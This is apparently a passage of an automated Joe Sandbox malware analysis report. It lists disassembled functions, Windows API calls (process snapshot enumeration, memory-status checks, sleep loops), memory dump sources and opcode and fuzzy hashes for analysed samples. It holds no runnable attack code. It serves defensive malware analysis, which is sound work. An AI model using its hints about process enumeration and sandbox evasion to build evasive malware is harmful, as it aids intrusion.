                                                                                                                        • Source File: 00000017.00000002.1621058744.0000000000D2C000.00000040.00000001.01000000.00000009.sdmp, Offset: 00A50000, based on PE: true
                                                                                                                        • Associated: 00000017.00000002.1620832274.0000000000A50000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1620855278.0000000000A52000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000AA8000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BDC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BE9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000C09000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000D40000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000D46000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_a50000_fff.jbxd
                                                                                                                        Yara matches
                                                                                                                        Similarity
                                                                                                                        • API ID: lstrcpyn$Findlstrlen$CloseFileFirst
                                                                                                                        • String ID: GetLongPathNameA$\$kernel32.dll
                                                                                                                        • API String ID: 426534248-1565342463
                                                                                                                        • Opcode ID: a4f32ed681f3f1cb31a11db1d844defa64933a534c78d08bcb5b0e62f476e4c7
                                                                                                                        • Instruction ID: 04e5ab3ac3e17aeb47a51084f0ace92b53802b88dd0535367d9d859f490417c2
                                                                                                                        • Opcode Fuzzy Hash: a4f32ed681f3f1cb31a11db1d844defa64933a534c78d08bcb5b0e62f476e4c7
                                                                                                                        • Instruction Fuzzy Hash: DE416072D0025AABDB10DBA8CE85ADEB7ECEF48340F1841B5B949E7241D674DF848B70
                                                                                                                        Function 00D33500 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON
                                                                                                                        Download Yara Rule
                                                                                                                        APIs
                                                                                                                        • GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,00D335CE,?,?,?,00000002,00D3366E,00D32593,00D325DB,00000002,00000000), ref: 00D33539
                                                                                                                        • WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,00D335CE,?,?,?,00000002,00D3366E,00D32593,00D325DB,00000002), ref: 00D3353F
                                                                                                                        • GetStdHandle.KERNEL32(000000F5,00D33588,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,00D335CE), ref: 00D33554
                                                                                                                        • WriteFile.KERNEL32(00000000,000000F5,00D33588,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,00D335CE), ref: 00D3355A
                                                                                                                        • MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00D33578
                                                                                                                        Strings
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1621058744.0000000000D2C000.00000040.00000001.01000000.00000009.sdmp, Offset: 00A50000, based on PE: true
                                                                                                                        • Associated: 00000017.00000002.1620832274.0000000000A50000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1620855278.0000000000A52000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000AA8000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BDC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BE9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000C09000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000D40000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000D46000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_a50000_fff.jbxd
                                                                                                                        Yara matches
                                                                                                                        Similarity
                                                                                                                        • API ID: FileHandleWrite$Message
                                                                                                                        • String ID: Error$Runtime error at 00000000
                                                                                                                        • API String ID: 1570097196-2970929446
                                                                                                                        • Opcode ID: 2034012c8067bbd19bf8c43f6a55c3e65796e5b1f8d5e130cc370f34ea617e13
                                                                                                                        • Instruction ID: fcea984d3a3b9e1595cb06b9f82a26c70af636fae15b13430a015f0f88a484db
                                                                                                                        • Opcode Fuzzy Hash: 2034012c8067bbd19bf8c43f6a55c3e65796e5b1f8d5e130cc370f34ea617e13
                                                                                                                        • Instruction Fuzzy Hash: 57F0B4A8B8838579FB38B3689F17F5A27489700B61F541619B290D81D6C7E446C88236
                                                                                                                        Function 00D31838 Relevance: 6.0, APIs: 4, Instructions: 48memoryCOMMON
                                                                                                                        Download Yara Rule
                                                                                                                        APIs
                                                                                                                        • RtlInitializeCriticalSection.NTDLL(00D3A5C4), ref: 00D3184E
                                                                                                                        • RtlEnterCriticalSection.NTDLL(00D3A5C4), ref: 00D31861
                                                                                                                        • LocalAlloc.KERNEL32(00000000,00000FF8,00000000,00D318EE,?,?,00D320D2), ref: 00D3188B
                                                                                                                        • RtlLeaveCriticalSection.NTDLL(00D3A5C4), ref: 00D318E8
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000017.00000002.1621058744.0000000000D2C000.00000040.00000001.01000000.00000009.sdmp, Offset: 00A50000, based on PE: true
                                                                                                                        • Associated: 00000017.00000002.1620832274.0000000000A50000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1620855278.0000000000A52000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000AA8000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BDC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BE9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000BEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000C09000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000D40000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        • Associated: 00000017.00000002.1621058744.0000000000D46000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_23_2_a50000_fff.jbxd
                                                                                                                        Yara matches
                                                                                                                        Similarity
                                                                                                                        • API ID: CriticalSection$AllocEnterInitializeLeaveLocal
                                                                                                                        • String ID:
                                                                                                                        • API String ID: 730355536-0
                                                                                                                        • Opcode ID: 67413becd44d0737aa067ab18e090d314fae31bb95aff462cf687c61b1e6baa3
                                                                                                                        • Instruction ID: 3ab039a7f66f2261f8d6345a32ff4e928e760bcea551d5a1a3d22de1cb39213b
                                                                                                                        • Opcode Fuzzy Hash: 67413becd44d0737aa067ab18e090d314fae31bb95aff462cf687c61b1e6baa3
                                                                                                                        • Instruction Fuzzy Hash: 4C0192B8B087436ED315AFAD9C0BB657BD0E746700F098079E180C67E1CAB94844DB7B

                                                                                                                        Execution Graph

                                                                                                                        Execution Coverage:19.3%
                                                                                                                        Dynamic/Decrypted Code Coverage:20.5%
                                                                                                                        Signature Coverage:0%
                                                                                                                        Total number of Nodes:39
                                                                                                                        Total number of Limit Nodes:9
                                                                                                                        execution_graph 48231 5ebb5a 48232 5ebb2c 48231->48232 48234 5ebb71 48231->48234 48233 5ebb3f Sleep 48232->48233 48232->48234 48271 a7aa9c0 48274 a7aa9e8 48271->48274 48272 a7aa9ce 48275 a7aaa05 48274->48275 48277 a7aaa2d 48274->48277 48275->48272 48276 a7aaa4e 48276->48272 48277->48276 48278 a7aab16 GlobalMemoryStatusEx 48277->48278 48279 a7aab46 48278->48279 48279->48272 48235 5eb875 48236 5eb884 48235->48236 48237 5ebb3f Sleep 48236->48237 48238 78e414 48239 78e417 48238->48239 48242 78e328 48239->48242 48243 78e353 48242->48243 48253 78e048 48243->48253 48245 78e35f 48246 78e3db 48245->48246 48257 78e068 48245->48257 48266 7896a0 48246->48266 48251 78e37c 48251->48246 48261 78b574 10 API calls 48251->48261 48262 78e088 48251->48262 48254 78e053 48253->48254 48255 78e062 48254->48255 48256 78e057 CreateToolhelp32Snapshot 48254->48256 48255->48245 48256->48245 48258 78e073 48257->48258 48259 78e082 48258->48259 48260 78e077 Module32First 48258->48260 48259->48251 48260->48251 48261->48251 48263 78e093 48262->48263 48264 78e0a2 48263->48264 48265 78e097 Module32Next 48263->48265 48264->48251 48265->48251 48268 7896a6 48266->48268 48267 7896cc Sleep 48267->48239 48268->48267 48270 788518 10 API calls 48268->48270 48270->48268

                                                                                                                        Executed Functions

                                                                                                                        Function 04F9AE28 Relevance: .5, Instructions: 517COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: f14190e6bafec7604be9812641398fecf81b457c3498d4730ad053dde0c49d6a
                                                                                                                        • Instruction ID: dcb42d1613e3e4a633c8d2cb9920019f432e597f049367d9355469ac3aa93d9f
                                                                                                                        • Opcode Fuzzy Hash: f14190e6bafec7604be9812641398fecf81b457c3498d4730ad053dde0c49d6a
                                                                                                                        • Instruction Fuzzy Hash: 46225E71E0015A8FEF04CFA9D8846AEBBF2FB88305F14856AD415AB245D774BD86CB90
                                                                                                                        Function 04F9240F Relevance: .5, Instructions: 454COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: e9dccf49a0c92073b8531003ea71593286d1f39d5db82c2489bd8060124ca9b7
                                                                                                                        • Instruction ID: 33b5e91128996f4a126cae1206c16c578e78104f01183d5654c809ec326e89a4
                                                                                                                        • Opcode Fuzzy Hash: e9dccf49a0c92073b8531003ea71593286d1f39d5db82c2489bd8060124ca9b7
                                                                                                                        • Instruction Fuzzy Hash: 29D107B3B14101EFEB048A78D4D6BE977E2EB90310F5689B9D0458BA11DB79AE4BC700
                                                                                                                        Function 04F91D75 Relevance: .5, Instructions: 454COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 366769cb3e62a9e69e533509cbde2ef84e051eaef3c03ee134bdaa0e28479022
                                                                                                                        • Instruction ID: 32e3ea935ad6217db13d40a76c03423c2400d69455ca0521d9f5ba82e977d25e
                                                                                                                        • Opcode Fuzzy Hash: 366769cb3e62a9e69e533509cbde2ef84e051eaef3c03ee134bdaa0e28479022
                                                                                                                        • Instruction Fuzzy Hash: C0D12AB3B14105EFEB048A78D4D2BED77F2EB90310F5685B9D0458BA11DA79AE4BC701
                                                                                                                        Function 04F9221F Relevance: .5, Instructions: 454COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: addf39c7e08960bca10795d3df756fa8d29b7407ad5271287c843eaf8b55bfbd
                                                                                                                        • Instruction ID: 963053b7e27e37aa7df1bdeb107b77486db60cb863da64ec5f59f9fd39377336
                                                                                                                        • Opcode Fuzzy Hash: addf39c7e08960bca10795d3df756fa8d29b7407ad5271287c843eaf8b55bfbd
                                                                                                                        • Instruction Fuzzy Hash: 80D109B3B14105EFEB048A68D4D2BED77F2E790310F5689B9D0458BA11DB79AE4BC701
                                                                                                                        Function 04F91B48 Relevance: .5, Instructions: 454COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: c57484a1d1178ee4f6993cc2889f620a0a83b1c38f58549395c84abe67c97e14
                                                                                                                        • Instruction ID: 974bdc0ef11717d14734dfd48a0421cf69914204a55a1c4636241e0ae85b3847
                                                                                                                        • Opcode Fuzzy Hash: c57484a1d1178ee4f6993cc2889f620a0a83b1c38f58549395c84abe67c97e14
                                                                                                                        • Instruction Fuzzy Hash: 96D106B3B14105EFEB048B68D4C2BED77F2EB94310F5689B9D0458BA11DA79AE4BC700
                                                                                                                        Function 04F922F3 Relevance: .5, Instructions: 453COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: fd135d44f5662297d7d5164541ea78e1b3cb7c619ebf1aefefc2d33a18a6c64d
                                                                                                                        • Instruction ID: 8bc6e9dcb98d873d1b3c6f15913c0ba40933934e53b7c629d8457a3413956453
                                                                                                                        • Opcode Fuzzy Hash: fd135d44f5662297d7d5164541ea78e1b3cb7c619ebf1aefefc2d33a18a6c64d
                                                                                                                        • Instruction Fuzzy Hash: 00D109B3B14101EFEB048A78D4D6BED77F2EB90310F5689B9D0458BA11DA79AE4BC701
                                                                                                                        Function 04F91C48 Relevance: .5, Instructions: 452COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: e9914da67473dee3f2bbe0ab4c076e80cbb218d019d092785a4603cffde080c5
                                                                                                                        • Instruction ID: 427262f57ecac2075c22355d4738f339ad1402c9645f8ea73dfb14d27832f095
                                                                                                                        • Opcode Fuzzy Hash: e9914da67473dee3f2bbe0ab4c076e80cbb218d019d092785a4603cffde080c5
                                                                                                                        • Instruction Fuzzy Hash: 48D118B3B14105EFEB048A78D4C2BED77F2EB90310F5689B9D0458BA11DA79AE4BC700
                                                                                                                        Function 04F91FE7 Relevance: .5, Instructions: 452COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: e422112af70afae52d872988facfb8e57b1e055ee268efdc947225ca7b28f364
                                                                                                                        • Instruction ID: 6158c7853e36900618a919b2517d7e20881d28a5ead3331174f9c9125803af16
                                                                                                                        • Opcode Fuzzy Hash: e422112af70afae52d872988facfb8e57b1e055ee268efdc947225ca7b28f364
                                                                                                                        • Instruction Fuzzy Hash: 5AD109B3B14105EFEB048A78D4D2BED77F2EB90310F5689B9D0458BA11DA79AE4BC701
                                                                                                                        Function 04F91F98 Relevance: .5, Instructions: 452COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: a7ec33f41a32e25ff0a133aaf7dfbc2afd57e711c5155356c23e08e4dcc5d523
                                                                                                                        • Instruction ID: f4a0a5ba14b0eaf34d7c02970afede3d3ae3075f52931c26ac3a44815fd25120
                                                                                                                        • Opcode Fuzzy Hash: a7ec33f41a32e25ff0a133aaf7dfbc2afd57e711c5155356c23e08e4dcc5d523
                                                                                                                        • Instruction Fuzzy Hash: 73D108B3B14105EFEB048B78D4D2BE977E2EB94310F5689B9D0458BA11DA79AE4BC700
                                                                                                                        Function 04F91A8C Relevance: .5, Instructions: 452COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: e57d17f6a16e2c17617e009e70dcde8253af367c47890b093c7c0cc78dc1adfb
                                                                                                                        • Instruction ID: b453167de800ba54f4df3464a4558e0f333c5773a53f721b027a300a6f4be757
                                                                                                                        • Opcode Fuzzy Hash: e57d17f6a16e2c17617e009e70dcde8253af367c47890b093c7c0cc78dc1adfb
                                                                                                                        • Instruction Fuzzy Hash: 17D118B3B14105EFEB048A78D4D2BED77F2EB90310F5689B9D0458BA11DA79AE4BC740
                                                                                                                        Function 04F91CB7 Relevance: .5, Instructions: 451COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 2aa253eaea7ee158159103adc862a7b20263d6e570fa99c413aaead01ce1f456
                                                                                                                        • Instruction ID: 7c3a19c0193a6ac3b76ebcbcb810c5a628ed373459df1933219aa81aadddccd3
                                                                                                                        • Opcode Fuzzy Hash: 2aa253eaea7ee158159103adc862a7b20263d6e570fa99c413aaead01ce1f456
                                                                                                                        • Instruction Fuzzy Hash: 7CD108B3B14105EFEB048A78D4D2BED77F2EB90310F5689B9D0458BA11DA79AE4BC700
                                                                                                                        Function 04F920C7 Relevance: .4, Instructions: 450COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 3de2825705bbb389b20af0780241da9d20142b20c14c7875ce4d13472a3149d8
                                                                                                                        • Instruction ID: 8c7e6d40dc26b3b70abee192ef7a042e536a465e6bb1672e99faaabb0f1bebd4
                                                                                                                        • Opcode Fuzzy Hash: 3de2825705bbb389b20af0780241da9d20142b20c14c7875ce4d13472a3149d8
                                                                                                                        • Instruction Fuzzy Hash: 16D128B3B14105EFEB048B68D4D2BED77F2E790310F5689B9D0458BA11DAB9AE4BC700
                                                                                                                        Function 04F91AFC Relevance: .4, Instructions: 448COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 7bcad632673d3be7e252b9f478a51beca90d349a6802f6f33451e5b3aa37c1bf
                                                                                                                        • Instruction ID: 18e38e583bfb553dfd587cec5a87138d0b3ee34b522283704099cf4c3455f151
                                                                                                                        • Opcode Fuzzy Hash: 7bcad632673d3be7e252b9f478a51beca90d349a6802f6f33451e5b3aa37c1bf
                                                                                                                        • Instruction Fuzzy Hash: 5ED12AB3B14101EFEB048A78D4D2BED77F2E790310F5689B9D0458BA11DA79AE4BC741
                                                                                                                        Function 04F91AC2 Relevance: .4, Instructions: 448COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 76a1767d09cf14ae1d0073f3df0d048a63ded2d2e8adde3db74f61b2215d4fbe
                                                                                                                        • Instruction ID: d521733e633d65fd98d07fadf31c2c33a77b64700d9dea885cf074e9d4afa460
                                                                                                                        • Opcode Fuzzy Hash: 76a1767d09cf14ae1d0073f3df0d048a63ded2d2e8adde3db74f61b2215d4fbe
                                                                                                                        • Instruction Fuzzy Hash: 38D119B3B14105EFEB048A78D4D2BED77F2EB94310F5689B9D0458BA11DA79AE4BC700
                                                                                                                        Function 04F9239F Relevance: .4, Instructions: 447COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: e5f45742c49da32d1508b4d851945ef32653a8bb4faab4ff06f9152557b7d015
                                                                                                                        • Instruction ID: eb53b94887516f5b9d894927aa4e031bedcec2e8750c5b038519427d146ba462
                                                                                                                        • Opcode Fuzzy Hash: e5f45742c49da32d1508b4d851945ef32653a8bb4faab4ff06f9152557b7d015
                                                                                                                        • Instruction Fuzzy Hash: 83D128B3B14101EFEB048A78C4C2BED77F2EB94310F5689B9D0458BA11DA79AE4BC700
                                                                                                                        Function 04F91C1E Relevance: .4, Instructions: 445COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 14c4f142a528900d0a84bad853f3769b276bf61a1d5f2153b05109a4ee5a64d4
                                                                                                                        • Instruction ID: 4f9eeb3f2c5695354994f392142cd93b8955952b6b9005f7b802e36ccb9783cb
                                                                                                                        • Opcode Fuzzy Hash: 14c4f142a528900d0a84bad853f3769b276bf61a1d5f2153b05109a4ee5a64d4
                                                                                                                        • Instruction Fuzzy Hash: 4DD12AB3B14101EFEB048A78D4D2BED77F2E790310F1689B9D0458BA11DA7AAE4BD700
                                                                                                                        Function 04F91EFD Relevance: .4, Instructions: 445COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 1d2859bcb339a81cbf56622a28a324e32ca0f58736a9e16365544dd0e16bdb2b
                                                                                                                        • Instruction ID: 7fd18bba8527513a787a40e6e0e38ea0b6991f2ee205767fcc1becdf2c70cce8
                                                                                                                        • Opcode Fuzzy Hash: 1d2859bcb339a81cbf56622a28a324e32ca0f58736a9e16365544dd0e16bdb2b
                                                                                                                        • Instruction Fuzzy Hash: 49D118B3B14101EFEB048A78D4D2BED77F2EB94310F5689B9D0458BA11DA79AE4BC701
                                                                                                                        Function 04F91EC3 Relevance: .4, Instructions: 445COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: b998c46316ba639fe659d4e33933378e9045672fff6dd8348c568beeb6d742d0
                                                                                                                        • Instruction ID: e715dd6bd5291e7c172723286c774b53d8ac576fbce32a0a948774b4f0a5989e
                                                                                                                        • Opcode Fuzzy Hash: b998c46316ba639fe659d4e33933378e9045672fff6dd8348c568beeb6d742d0
                                                                                                                        • Instruction Fuzzy Hash: 83D12AB3B14105EFEB048A78C4C2BED77F2E790310F1689B9D0458BA11DA7AAE4BC700
                                                                                                                        Function 04F91E99 Relevance: .4, Instructions: 445COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
                                                                                                                        • Opcode ID: 84df62d0bd1202399ef36b197c0238d8582b0e9445fe7efcc842eeb167fc1444
                                                                                                                        • Instruction ID: 40a3c8743cc1eb0d0ebd6b9bf18a5c8c223eee3ff9da1e21f03b9802ccbb5c1e
                                                                                                                        • Opcode Fuzzy Hash: 84df62d0bd1202399ef36b197c0238d8582b0e9445fe7efcc842eeb167fc1444
                                                                                                                        • Instruction Fuzzy Hash: E2D129B3B14101EFEB048A78C4C2BED77F2EB94310F5689B9D0458BA11DA79AE4BC700
                                                                                                                        Function 04F92023 Relevance: .4, Instructions: 445COMMON
                                                                                                                        Download Yara Rule
                                                                                                                        Memory Dump Source
                                                                                                                        • Source File: 00000018.00000002.3714356427.0000000004F90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F90000, based on PE: false
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4f90000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID:
                                                                                                                        • String ID:
                                                                                                                        • API String ID:
